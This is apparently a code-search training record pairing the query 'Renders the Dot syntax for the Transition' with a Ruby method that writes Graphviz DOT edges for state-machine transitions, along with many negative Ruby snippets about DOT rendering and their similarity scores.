\"#{k.to_s}=#{v}\"\n end.join(\", \")\n io.puts \"#{n.node_name} [#{attr_string}]\"\n end\n end\n @control_edges.each do |s,d,label|\n log \"adding control edge: [#{s},#{d},#{label}]\"\n attrs={color:\"red\",fontcolor:\"red\"}\n attrs[:label] = '\"'+label.to_s+'\"' if label\n draw_transition(s,d,io,attrs)\n end\n @data_edges.each do |s,d|\n log \"adding data edge\"\n draw_transition(s,d,io,{color: \"green\"})\n end\n io.puts \"}\"\n self\n end", "def to_s (indent = 0)\n (\" \" * indent) + path.to_s + \" : \" + state.to_s\n end", "def statecolor(state)\n\t\tif state == \"running\"\n\t\t\t\"color: green;\".html_safe\n\t\telsif state == \"poweroff\"\n\t\t\t\"color: gray;\".html_safe\n\t\telse\n\t\t\t\"color: yellow;\".html_safe\n\t\tend\n\tend", "def description\n @state.description\n end", "def view_for_state(state)\n \"#{cell_name}/#{state}\"\n end" ]
[ "0.6585954", "0.6584424", "0.625206", "0.6133405", "0.6100282", "0.60859656", "0.60828495", "0.6012448", "0.5981349", "0.59612155", "0.59532315", "0.5949806", "0.5942158", "0.5941734", "0.5939078", "0.59364545", "0.592749", "0.592196", "0.5915447", "0.59081256", "0.5907804", "0.5904318", "0.59014726", "0.5875201", "0.58746153", "0.5866143", "0.5859821", "0.58595544", "0.585406", "0.585349", "0.5853469", "0.58473676", "0.58462745", "0.584384", "0.58368886", "0.5808237", "0.5794322", "0.57938015", "0.5782659", "0.57708573", "0.57491153", "0.5732591", "0.57244176", "0.57001853", "0.5658442", "0.56434244", "0.5631001", "0.56186694", "0.559719", "0.55964303", "0.5564952", "0.5548982", "0.5548982", "0.5516852", "0.54932815", "0.54872864", "0.54872864", "0.54872864", "0.5463806", "0.541605", "0.54099774", "0.53568053", "0.5322824", "0.5294768", "0.5280691", "0.52681535", "0.5262827", "0.5251", "0.52496505", "0.52479744", "0.5239495", "0.5232376", "0.5228199", "0.5217327", "0.5212933", "0.5203609", "0.52021605", "0.5195359", "0.518544", "0.5166869", "0.5163424", "0.5162367", "0.515784", "0.5144635", "0.5140402", "0.51227695", "0.51143473", "0.5109104", "0.50944525", "0.5082877", "0.5082237", "0.50816804", "0.5070267", "0.5070267", "0.5070267", "0.5041264", "0.5027993", "0.50132525", "0.5013069", "0.49969456" ]
0.6983836
0
Renders the Dot syntax for the Transition.
def render_Transition t return if @rendered[t] @rendered[t] = true # Do not render Transition if source and target States are both rendered. return unless @rendered[t.target] && @rendered[t.source] sequence = [ ] if options[:history] # $stderr.puts "\n trans = #{t.inspect}, sm = #{t.stateMachine.inspect}" options[:history].each_with_index do | hist, i | if hist[:transition] === t # $stderr.puts " #{i} hist = #{hist.inspect}" sequence << i end end end stream.puts "\n// #{t.inspect}" # $stderr.puts " #{t.inspect}\n #{options.inspect}" dot_opts = { :label => dot_label(t), } dot_opts = dot_opts_for t, dot_opts if (ht = options[:highlight_transitions]) && ht.include?(t) dot_opts[:style] = 'bold' end source_name = "#{dot_name(t.source, :source)}" target_name = "#{dot_name(t.target, :target)}" unless sequence.empty? if options[:show_transition_sequence] dot_opts[:label] = "(#{sequence_to_s(sequence)}) #{dot_opts[:label]}" end else if options[:highlight_transition_history] dot_opts[:color] = :grey dot_opts[:fontcolor] = :grey end end dot_opts[:color] ||= :black dot_opts[:fontcolor] ||= :black return if dot_opts[:visible] == false stream.puts "#{source_name} -> #{target_name} [ #{render_opts(dot_opts)} ];" self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dot\n end", "def to_dot(options = {})\r\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\r\n states.each do |state|\r\n g.node(state, :label => state.items.values.collect{|item| item.to_s(options)}.join(\"\\n\"))\r\n @transitions[state].each do |symbol, dest_state|\r\n g.edge(state, dest_state, :label => symbol.name)\r\n end\r\n end\r\n end.to_dot\r\n end", "def dot\n print \".\"\n $stdout.flush\n end", "def dot(&block)\n ext(Rule.for(DOT), block)\n end", "def dot\n RGL::DOT::Graph.new('elements' => dot_edges).to_s\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 65:6: '.'\n match( 0x2e )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n\n end", "def to_dot\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\n parse_tree.to_dot(g)\n end.to_dot\n end", "def to_dot\n i = 0\n dot = [\"digraph G {\", \"#{i} [label=\\\"self\\\"];\"]\n _to_dot(dot, \"\", i, self, i)\n dot << \"}\"\n dot.join(\"\\n\")\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 55 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 176:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 55 )\n\n end", "def dot\n s = \"digraph query {\\n\"\n @operators.each { |op| \n desc = op.attributes.inspect.gsub(\"\\\"\", \"\\\\\\\"\")\n label = \"[#{op.index}] #{op.name}\"\n if op.performanceData\n duration = (op.performanceData[\"endTime\"] - op.performanceData[\"startTime\"]).to_f\n label += \" (#{duration} ms)\"\n end\n s += \" #{op.index} [label=\\\"#{label}\\n #{desc}\\\", shape=box];\\n\"\n op.dependencies.each { |dep|\n s += \" #{dep.index} -> #{op.index};\\n\"\n }\n } \n s += \"}\\n\"\n end", "def to_dot(opts={})\n\n s = [ \"digraph \\\"process wfid #{wfid}\\\" {\" ]\n @expressions.each { |e| s.push(*e.send(:to_dot, opts)) }\n @errors.each { |e| s.push(*e.send(:to_dot, opts)) }\n s << '}'\n\n s.join(\"\\n\")\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 369:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 154:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n end", "def do_dot\n message = pop\n object = pop\n\n\t\t# defer error handling for now\n\t\tcase object[:type]\n when :integer\n m = message[:value]\n\t\t\t@integer_msgs[m].call( object )\n when :string\n # ditto :integer\n when :frame # user defined object\n\t\t\t@fstack.push( object )\n\t\t\t# evaluate message in context of frame\n\n\t\t\tquote = Quote.new\n\t\t\tcase message[:type]\n when :quote\n\t\t\t quote.tree = message\n\t\t\t self.dot( quote )\n when :symbol\n # usr re-write rule: frame symbol . --> frame [ symbol # ] .\n\t\t\t\tquote.tree = { \n\t\t\t\t type: :quote,\n\t\t\t\t value: [ message, { type: :eval, value: \"#\" } ]\n\t\t\t\t}\n\n\t\t\t self.dot( quote )\n end\n\n\t\t\t@fstack.pop\n else\n # error\n end\n end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def to_dot\n template = <<-eos\ndigraph \"<%= uid || 'graph' %>\" {\n node[ style = \"filled, solid\"];\n<% each_task do |task| -%>\n<% next unless task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless task.node.name =~ dot_node_filter if dot_node_filter and task.node -%>\n \"<%= task %>\" [label = \"<%= task %>\", fillcolor = \"<%= task.color %>\"];\n<% end -%>\n\n<% each_task do |task| -%>\n<% task.each_forward_dependency do |forward_task| -%>\n<% next unless task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless task.node.name =~ dot_node_filter if dot_node_filter and task.node -%>\n<% next unless forward_task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless forward_task.node.name =~ dot_node_filter if dot_node_filter and forward_task.node -%>\n \"<%= task %>\" -> \"<%= forward_task %>\";\n<% end -%>\n<% end -%>\n}\n eos\n ERB.new(template, nil, '-').result(binding)\n end", "def dependency_in_dot\n result = \"\"\n result << \"digraph recipes {\\n\"\n result << \" rankdir=LR;\\n\"\n result << _dependency_in_dot\n result << \"}\"\n\n result\n end", "def to_dot(include_starred_states = false)\n all_states = transitions.values.map(&:to_a).flatten.uniq.reject { |t| t == \"*\" }\n\n \"\".tap do |s|\n s << \"digraph #{self.class.name.inspect} {\\n\"\n transitions.each do |signal, signal_transitions|\n signal_transitions.each do |from, to|\n next if !include_starred_states && (from == \"*\" || to == \"*\")\n\n from = from == \"*\" ? all_states : [from]\n to = to == \"*\" ? all_states : [to]\n from.product(to).each { |f, t| s << \" #{f} -> #{t} [ label=\\\"#{signal}\\\" ]\\n\" }\n end\n end\n s << \"}\\n\"\n end\n end", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def get_dot(start_state)\n if ((start_state).nil?)\n return nil\n end\n # The output DOT graph for visualization\n dot = nil\n @marked_states = HashSet.new\n if (start_state.is_a?(DFAState))\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/dfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n dot.set_attribute(\"useBox\", Boolean.value_of(Tool.attr_internal_option_show_nfaconfigs_in_dfa))\n walk_creating_dfadot(dot, start_state)\n else\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/nfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n walk_rule_nfacreating_dot(dot, start_state)\n end\n dot.set_attribute(\"rankdir\", @rankdir)\n return dot.to_s\n end", "def dot(i); str(nil, i, '.'); end", "def lex_en_leading_dot=(_arg0); end", "def lex_en_leading_dot=(_arg0); end", "def lex_en_leading_dot=(_arg0); end", "def dot(io)\n log \"drawing graph \"\n io << <<END\ndigraph test_definition {\ngraph [ rankdir=TB ]\nnode [shape=record,fontname=helvetica]\nedge [fontname=helvetica, arrowsize=0.5]\nEND\n # nodes,transitions = collect_nodes\n # transitions.to_a.flatten.to_set.each do |n|\n @nodes.each do |n|\n next if n.record # if we are a port, skip, record handles drawing\n if n.is_record? # if we are a record, call specialized function\n n.dot_code(io)\n else\n label_sym = (n.is_a?(JoinNode) ? :xlabel : :label)\n attrs={label_sym => '\"'+n.dot_label+'\"'}\n # if n.symbol\n # attrs[:xlabel]=n.symbol\n # end\n if n.respond_to? :dot_node_shape\n attrs[:shape]='\"'+n.dot_node_shape+'\"'\n end\n attr_string=attrs.map do |k,v|\n \"#{k.to_s}=#{v}\"\n end.join(\", \")\n io.puts \"#{n.node_name} [#{attr_string}]\"\n end\n end\n @control_edges.each do |s,d,label|\n log \"adding control edge: [#{s},#{d},#{label}]\"\n attrs={color:\"red\",fontcolor:\"red\"}\n attrs[:label] = '\"'+label.to_s+'\"' if label\n draw_transition(s,d,io,attrs)\n end\n @data_edges.each do |s,d|\n log \"adding data edge\"\n draw_transition(s,d,io,{color: \"green\"})\n end\n io.puts \"}\"\n self\n end", "def do_dot s; a = mega_pop(s); String == a.class ? s[:output] << \"#{a.ord} \" : s[:output] << \"#{a} \" end", "def lex_en_leading_dot; end", "def lex_en_leading_dot; end", "def lex_en_leading_dot; end", "def dot_label x\n @dot_label[x] ||=\n _dot_label x\n end", "def to_call_dot(filename)\n basename = File.basename(filename, \".dot\")\n basename=basename+\".ps\"\n \n dot_command1=\"dot -Tps \"+(filename)+ \" -o \"+basename\n system(dot_command1)\n end", "def dottify\n self.gsub(/[^[:print:]]/, \".\")\n end", "def to_dot(**options) = convert_to('dot', **options)", "def dots(options = nil, &block)\n (options ||= {})[:class] = \"dropdown dropdown-dots #{options.delete(:class)}\".strip\n\n content_tag(:div, options) do\n content_tag(:button, class: \"btn btn-dots dropdown-toggle #{options.delete(:button_class)}\", 'aria-expanded': true, 'aria-haspopup': true, 'data-toggle': 'dropdown', type: 'button') do\n end + content_tag(:div, capture(&block), class: 'dropdown-menu')\n end\n end", "def doubledot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n\n\n\n type = DOUBLEDOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 313:4: ':'\n match( 0x3a )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n\n end", "def dot? = unit == 'dot'", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def [](key)\n raise InvalidDot unless @@dots.keys.include? key.to_s\n dot = @@dots[key.to_s]\n dot.respond_to?(:call) ? dot.call : dot\n end", "def render_StateMachine sm, dot_opts = nil\n return if @rendered[sm]\n @rendered[sm] = true\n\n dot_opts ||= { }\n hide_decomposition = dot_opts.delete(:hide_decomposition)\n\n stream.puts \"\\n// {#{sm.inspect}\"\n name = dot_opts.delete(:_node_name) || dot_name(sm)\n type = \"subgraph #{name}\"\n\n dot_opts[:label] ||= dot_label(sm.superstate)\n dot_opts[:shape] = :box\n dot_opts[:style] = 'filled,rounded'\n dot_opts[:fillcolor] ||= :white\n dot_opts[:fontcolor] ||= :black\n\n dot_opts = dot_opts_for sm, dot_opts\n\n if hide_decomposition && false\n dot_opts[:label] += \"\\\\r o-o\"\n end\n \n stream.puts \"#{type} {\"\n stream.puts %Q{ #{render_opts(dot_opts, \";\\n \")}}\n \n yield if block_given?\n\n unless hide_decomposition\n start_name = dot_name(sm, :start)\n @rendered[start_name] = true\n stream.puts \"\\n// Implicit :start Pseudostate\"\n stream.puts %Q{ node [ shape=\"circle\", label=\"\", style=filled, fillcolor=black ] #{start_name}; }\n sm.states.each { | s | render(s) }\n end\n\n stream.puts \"}\"\n stream.puts \"// } #{sm.inspect}\\n\"\n end", "def to_dot(graph)\n graph.node(self, :label => token)\n end", "def walk_rule_nfacreating_dot(dot, s)\n if (@marked_states.contains(s))\n return # already visited this node\n end\n @marked_states.add(s) # mark this node as completed.\n # first add this node\n state_st = nil\n if (s.is_accept_state)\n state_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/stopstate\")\n else\n state_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/state\")\n end\n state_st.set_attribute(\"name\", get_state_label(s))\n dot.set_attribute(\"states\", state_st)\n if (s.is_accept_state)\n return # don't go past end of rule node to the follow states\n end\n # special case: if decision point, then line up the alt start states\n # unless it's an end of block\n if ((s).is_decision_state)\n n = (s).attr_associated_astnode\n if (!(n).nil? && !(n.get_type).equal?(ANTLRParser::EOB))\n rank_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/decision-rank\")\n alt = s\n while (!(alt).nil?)\n rank_st.set_attribute(\"states\", get_state_label(alt))\n if (!(alt.attr_transition[1]).nil?)\n alt = alt.attr_transition[1].attr_target\n else\n alt = nil\n end\n end\n dot.set_attribute(\"decisionRanks\", rank_st)\n end\n end\n # make a DOT edge for each transition\n edge_st = nil\n i = 0\n while i < s.get_number_of_transitions\n edge = s.transition(i)\n if (edge.is_a?(RuleClosureTransition))\n rr = (edge)\n # don't jump to other rules, but display edge to follow node\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/edge\")\n if (!(rr.attr_rule.attr_grammar).equal?(@grammar))\n edge_st.set_attribute(\"label\", \"<\" + RJava.cast_to_string(rr.attr_rule.attr_grammar.attr_name) + \".\" + RJava.cast_to_string(rr.attr_rule.attr_name) + \">\")\n else\n edge_st.set_attribute(\"label\", \"<\" + RJava.cast_to_string(rr.attr_rule.attr_name) + \">\")\n end\n edge_st.set_attribute(\"src\", get_state_label(s))\n edge_st.set_attribute(\"target\", get_state_label(rr.attr_follow_state))\n edge_st.set_attribute(\"arrowhead\", @arrowhead)\n dot.set_attribute(\"edges\", edge_st)\n walk_rule_nfacreating_dot(dot, rr.attr_follow_state)\n i += 1\n next\n end\n if (edge.is_action)\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/action-edge\")\n else\n if (edge.is_epsilon)\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/epsilon-edge\")\n else\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/edge\")\n end\n end\n edge_st.set_attribute(\"label\", get_edge_label(edge))\n edge_st.set_attribute(\"src\", get_state_label(s))\n edge_st.set_attribute(\"target\", get_state_label(edge.attr_target))\n edge_st.set_attribute(\"arrowhead\", @arrowhead)\n dot.set_attribute(\"edges\", edge_st)\n walk_rule_nfacreating_dot(dot, edge.attr_target) # keep walkin'\n i += 1\n end\n end", "def _to_dot(dot, l, c, e, i)\n i += 1\n dot << \"#{c} -> #{i} [label=\\\"#{l}\\\"];\" if l\n c = i\n case e\n when LiteralString\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}.lit\\\"];\"\n i\n when Symbol, Numeric, String, Class, TrueClass, FalseClass, NilClass\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i\n when Array\n dot << \"#{i} [label=\\\"Array\\\"];\"\n e.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when Hash\n dot << \"#{i} [label=\\\"Hash\\\"];\"\n e.each do |k, v|\n i = _to_dot(dot, k, c, v, i)\n end\n when SQL::ComplexExpression \n dot << \"#{i} [label=\\\"ComplexExpression: #{e.op}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Identifier\n dot << \"#{i} [label=\\\"Identifier\\\"];\"\n i = _to_dot(dot, :value, c, e.value, i)\n when SQL::QualifiedIdentifier\n dot << \"#{i} [label=\\\"QualifiedIdentifier\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :column, c, e.column, i)\n when SQL::OrderedExpression\n dot << \"#{i} [label=\\\"OrderedExpression: #{e.descending ? :DESC : :ASC}#{\" NULLS #{e.nulls.to_s.upcase}\" if e.nulls}\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n when SQL::AliasedExpression\n dot << \"#{i} [label=\\\"AliasedExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n i = _to_dot(dot, :alias, c, e.aliaz, i)\n when SQL::CaseExpression\n dot << \"#{i} [label=\\\"CaseExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i) if e.expression\n i = _to_dot(dot, :conditions, c, e.conditions, i)\n i = _to_dot(dot, :default, c, e.default, i)\n when SQL::Cast\n dot << \"#{i} [label=\\\"Cast\\\"];\"\n i = _to_dot(dot, :expr, c, e.expr, i)\n i = _to_dot(dot, :type, c, e.type, i)\n when SQL::Function\n dot << \"#{i} [label=\\\"Function: #{e.f}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Subscript \n dot << \"#{i} [label=\\\"Subscript: #{e.f}\\\"];\"\n i = _to_dot(dot, :f, c, e.f, i)\n i = _to_dot(dot, :sub, c, e.sub, i)\n when SQL::WindowFunction\n dot << \"#{i} [label=\\\"WindowFunction\\\"];\"\n i = _to_dot(dot, :function, c, e.function, i)\n i = _to_dot(dot, :window, c, e.window, i)\n when SQL::Window\n dot << \"#{i} [label=\\\"Window\\\"];\"\n i = _to_dot(dot, :opts, c, e.opts, i)\n when SQL::PlaceholderLiteralString\n str = e.str\n str = \"(#{str})\" if e.parens\n dot << \"#{i} [label=\\\"PlaceholderLiteralString: #{str.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i = _to_dot(dot, :args, c, e.args, i)\n when SQL::JoinClause\n str = \"#{e.join_type.to_s.upcase} JOIN\"\n if e.is_a?(SQL::JoinOnClause)\n str << \" ON\"\n elsif e.is_a?(SQL::JoinUsingClause)\n str << \" USING\"\n end\n dot << \"#{i} [label=\\\"#{str}\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :alias, c, e.table_alias, i) if e.table_alias\n if e.is_a?(SQL::JoinOnClause)\n i = _to_dot(dot, :on, c, e.on, i)\n elsif e.is_a?(SQL::JoinUsingClause)\n i = _to_dot(dot, :using, c, e.using, i)\n end\n when Dataset\n dot << \"#{i} [label=\\\"Dataset\\\"];\"\n TO_DOT_OPTIONS.each do |k|\n next unless e.opts[k]\n i = _to_dot(dot, k, c, e.opts[k], i)\n end\n else\n dot << \"#{i} [label=\\\"Unhandled: #{e.inspect.gsub('\"', \"''\")}\\\"];\"\n end\n i\n end", "def dot v \n @x * v.x + @y * v.y + @z * v.z\n end", "def dot v\n @x*v.x + @y*v.y\n end", "def slash_to_dot(path)\n dot = super\n dot.sub!(@useless,'')\n dot=dot[1..-1] if dot[0] == '.'\n dot\n end", "def addDots(beforeDot)\n\t\tafterDot = \"\"\n\t\tapproachLast = false\n\n\t\tbeforeDot.each_char { |ch|\n\t\t\tif approachLast\n\t\t\t\tcase ch\n\t\t\t\twhen '|', ';'\n\t\t\t\t\tapproachLast = false\n\t\t\t\twhen '*', '+', ')' \n\t\t\t\twhen '(' \n\t\t\t\t\tafterDot << '#'\n\t\t\t\t\tapproachLast = false\n\t\t\t\telse \n\t\t\t\t\tafterDot << '#'\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tcase ch\n\t\t\t\twhen '(', '+', '*', '|', ';'\n\t\t\t\telse\n\t\t\t\t\tapproachLast = true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tafterDot << ch\n\t\t}\n\t\t# print afterDot\n\t\tafterDot\n\tend", "def dot_code(io)\n # puts \"drawing record\"\n props\n portinfos = get_port_nodes.map do |n|\n OpenStruct.new(name: n.node_name,\n label: MFactor::dot_escape(n.dot_label)+(n.symbol ? \"(#{n.symbol})\":\"\"))\n end\n label= '\"{{'\n label << (portinfos.map do |p|\n \"<#{p.name}> #{p.label}\"\n end.join(\" | \"))\n label << '}}\"'\n attrs={:label => label}\n attr_string=attrs.map do |k,v|\n \"#{k.to_s}=#{v}\"\n end.join(\", \")\n io << node_name << ' ' << '[' << attr_string << \"]\\n\"\n end", "def dotchart(*args)\n Dot.new(self, *args)\n end", "def dot_label x, opts = EMPTY_HASH\n @dot_label[[x, opts]] ||=\n case x\n when Cabar::Component\n # * name and version\n # * directory\n # * facets (optional)\n str = ''\n\n if show_component_name\n str << \"#{x.name}\"\n else\n str << \"#\"\n end\n\n if show_component_version\n str << \"/#{x.version}\" if opts[:version] != false\n end\n\n if show_component_directory\n dir = x.directory.to_s.sub(/^#{@current_directory}/, './')\n str << \"\\n#{dir}\"\n end\n\n if show_facet_names && opts[:show_facet_names] != false\n str << \"\\n\"\n # <- <<exported facet name>>\n x.provides.\n map{|f| f.key.to_s}.\n sort.\n each{|f| str << \"<- #{f}\\\\l\"}\n\n # <* <<plugin name>>\n x.plugins.\n map{|p| p.name}.\n sort.\n map{|p| p.sub(/\\/.*$/, '/*')}.\n uniq.\n each{|p| str << \"<* #{p}\\\\l\"}\n end\n # '\"' + str + '\"'\n str\n when Cabar::Facet::RequiredComponent\n # Use the version requirement.\n show_dependency_constraint ?\n (x._proto ? x.version.to_s : x.key.to_s) :\n EMPTY_STRING\n when Cabar::Facet\n # Use the facet name.\n x.key.to_s\n else\n x.to_s\n end\n end", "def test_insert_dot\n\n ENV['TM_SCOPE'] = 'source.actionscript.3'\n\n ENV['TM_CURRENT_LINE'] = <<-EOF\n property. property\n EOF\n\n ENV['TM_LINE_INDEX'] = '6'\n assert_equal false, PropertyInspector.insert_dot\n\n ENV['TM_LINE_INDEX'] = '24'\n assert_equal true, PropertyInspector.insert_dot\n\n ENV['TM_LINE_INDEX'] = '15'\n assert_equal false, PropertyInspector.insert_dot\n\n ENV['TM_LINE_INDEX'] = '30'\n assert_equal false, PropertyInspector.insert_dot\n\n end", "def to_dot(*attrs, &block)\n d = \"#{'di' if @directed}graph G {\\n\"\n d << attrs.collect { |a| \" #{a};\\n\"}.join\n @nodes.each { |n| \n d << \" \\\"#{nid(n)}\\\" [#{nodeparams(n)}];\\n\"}\n @links.sort_by { |k,l| l.weight }.each { |k,l| d << l.to_dot(&block) }\n d << \"}\\n\"\n end", "def dependency_graph_dot\n # Importing this here as Chef may not have installed the Gem\n require 'graphviz'\n ::GraphViz.new(:G, type: :digraph) do |g|\n dependency_graph.each do |fragment, dependencies|\n g.add_nodes(fragment)\n\n dependencies.each do |dep|\n g.add_nodes(dep)\n g.add_edges(fragment, dep)\n end\n end\n end.output(dot: String)\n end", "def to_dot graph\n graph.node(self, :label => production)\n child_nodes.each do |child|\n graph.edge(self, child)\n child.to_dot(graph)\n end\n end", "def dot(v)\n @x * v.x + @y * v.y\n end", "def dot_name x, opts = EMPTY_HASH\n @dot_name[[ x, opts ]] ||=\n case x\n when Cabar::Component\n prefix = EMPTY_STRING\n if opts[:subgraph]\n opts[:version] = false\n prefix = \"cluster_\"\n end\n\n prefix +\n case opts[:version]\n when false\n \"c #{x.name}\"\n else\n \"c #{x.name} #{x.version}\"\n end\n when Cabar::Facet\n \"f #{x.key}\"\n else\n \"x #{x}\"\n end.\n # sub(/([a-z]+) (.*)/i){|| \"#{$1}_#{$2.hash}\"}.\n gsub(/[^a-z_0-9]/i, '_') \n end", "def outputDot(podhash)\n # Random set of 16 colors ...\n colors = [0xFF00FF,0x9900FF,0x99CCFF,0x00CC99,\n 0x0000FF,0xFFCC00,0xFF9900,0xFF0000,\n 0xCC00CC,0x6666FF,0xFF99FF,0x6699FF,\n 0x993399,0xFFCCFF,0x6600FF,0xCC00FF,\n 0x00FF00,0xFF0033,0xFF0033,0xCCCCCC];\n\n puts \"digraph PodDeps {\"\n puts \"\\tsize=\\\"8,6\\\";\"\n puts \"\\tnode[fontsize=10];\"\n\n count = 0\n podhash.each do |k,v|\n # Only color if there are more than 2 edges from this node.\n if v.deps.length > 2\n colorstring = sprintf(\"\\\"\\#%06x\\\"\",colors[count%16])\n puts \"\\tedge [color=#{colorstring}];\"\n count = count + 1\n else\n colorstring = sprintf(\"\\\"\\#000000\\\"\")\n puts \"\\tedge [color=black];\"\n end\n v.deps.each do |d|\n puts \"\\t\\\"#{k} #{v.version}\\\" -> \\\"#{d.name} #{d.version}\\\";\"\n end\n puts \"\\t\\\"#{k} #{v.version}\\\" [color=#{colorstring}];\";\n end\n puts \"}\"\nend", "def to_dot( albero )\n from = albero[:number] ; # numero di partenza del rampo dell'albero\n albero[:divisors].each { |d|\n to = d[:number] ;\n # stanpo il ramo from --> to\n puts \"#{from} -> #{to};\"\n to_dot( d ) ;\n }\nend", "def period_separator\n '.'\n end", "def toggle\n if @dot == nil then\n radius = 5\n pt = @intersector.getIntersection( @farItem.getCenter)\n @dot = UONDot.new( @editor.getModelCanvas,\n pt[0], pt[1], pt[0] + radius, pt[1] + radius, @editor)\n @dot.setCenter pt\n else\n @dot.destroy; @dot = nil\n end # @dot is nil?\n end", "def ddot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n\n\n type = DDOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 58:7: ':'\n match( 0x3a )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n\n end", "def get_text\n text = ''\n sep = ''\n @lexemes.each { |lexeme|\n if lexeme == '.'\n text << lexeme\n sep = ''\n else\n text << sep\n text << lexeme\n sep = ' '\n end\n }\n\t@lexemes = []\n text\n end", "def dot( quote )\n\t\tquote.tree[:value].each { |e|\n case e[:type]\n when :binding\n do_binding\n when :bind_constant\n do_bind_constant\n when :eval\n do_eval\n when :bang\n\t\t\t\truby = pop[:value]\n\t\t\t\tself.bang( ruby )\n when :dot\n do_dot\n when :dup\n do_dup\n\t\t\twhen :symbol\n\t v = @fstack.get( e[:value] )\n\t\t\t\tif ( v.class == Hash ) and ( v[:type] == :constant ) then\n\t\t\t\t\tpush( v[:value] )\n\t\t\t\telse\n push( e )\n end\n else\n push( e )\n end\n\t\t}\n end", "def show\n @dot = Dot.find(params[:id])\n end", "def to_dot_label(binding_)\n template_path = File.expand_path(\"callback.dothtml.erb\", __dir__)\n erb = ERB.new(File.read(template_path))\n erb.filename = template_path\n erb.result(binding)\n end", "def start_dotted_items()\n start_symbol = grammar.start_symbol\n start_items = dotted_items.select do |anItem|\n (anItem.lhs == start_symbol) && anItem.at_start?\n end\n \n return start_items\n end", "def draw_dependency_graph(theDOTfile, isVerbose = false)\n puts \" #{theDOTfile}\" if isVerbose\n dot_file = File.open(theDOTfile, 'w')\n emit_heading(dot_file)\n emit_body(dot_file)\n emit_trailing(dot_file)\n end", "def dot(other)\n self * other\n end", "def message_chained_with_dot?(node)\n return false if node.root?\n\n parent = node.parent\n return false if !parent.call_type? || parent.children.first != node\n\n parent.dot? || parent.safe_navigation?\n end", "def set_dot\n @dot = @map.dots.includes(:user, :map).find(params[:id])\n end", "def dotty (params = {}, dotfile = 'graph.dot')\n File.open(dotfile, 'w') {|f| f << to_dot(params) }\n system('dotty', dotfile)\n end", "def dotty (params = {}, dotfile = 